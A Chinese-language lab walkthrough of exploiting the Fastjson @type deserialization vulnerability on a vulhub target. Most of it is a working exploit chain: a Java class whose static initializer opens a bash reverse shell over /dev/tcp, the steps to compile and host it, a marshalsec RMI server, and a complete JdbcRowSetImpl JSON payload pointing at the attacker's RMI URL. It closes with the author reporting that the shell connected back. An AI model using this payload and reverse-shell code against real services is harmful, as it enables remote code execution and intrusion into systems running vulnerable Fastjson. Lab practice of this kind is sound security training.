原理: Fastjson 的 @type 字段允许反序列化时动态指定类,攻击者可以通过指定带有危险行为的类,并结合 RMI/LDAP 远程加载恶意类,从而实现命令执行。
开启vulhub靶场
//如何验证是否存在fastjson反序列化漏洞
有json数据传输的地方可能存在
可以尝试使用dnslog带外
但是不知道什么原因没有带出来
开始漏洞利用过程
1、构建一个的java文件
`// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}`
2、将这个java文件进行编译
javac TouchFile.java
会生成一个class文件
然后在终端中启动nc监听
3、然后就是开启一个web服务
4、搭建一个rmi服务
去gthub上下载:https://github.com/mbechler/marshalsec
下载之后是一个要编译的文件 注:编译环境不对可能会出问题我找到的解决方法是 :https://www.cnblogs.com/cute-puli/p/14373826.html
可以参考以上文档,我用的是centos 7的然后java版本跟他最近的版本就行步骤是一样的
5、打包完成之后就可以将这个服务启动起来
playload:{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://<rmi服务的ip:端口>/TouchFile", "autoCommit":true } }
然后发送出去
web有访问
rmi服务有访问:
shell弹回来了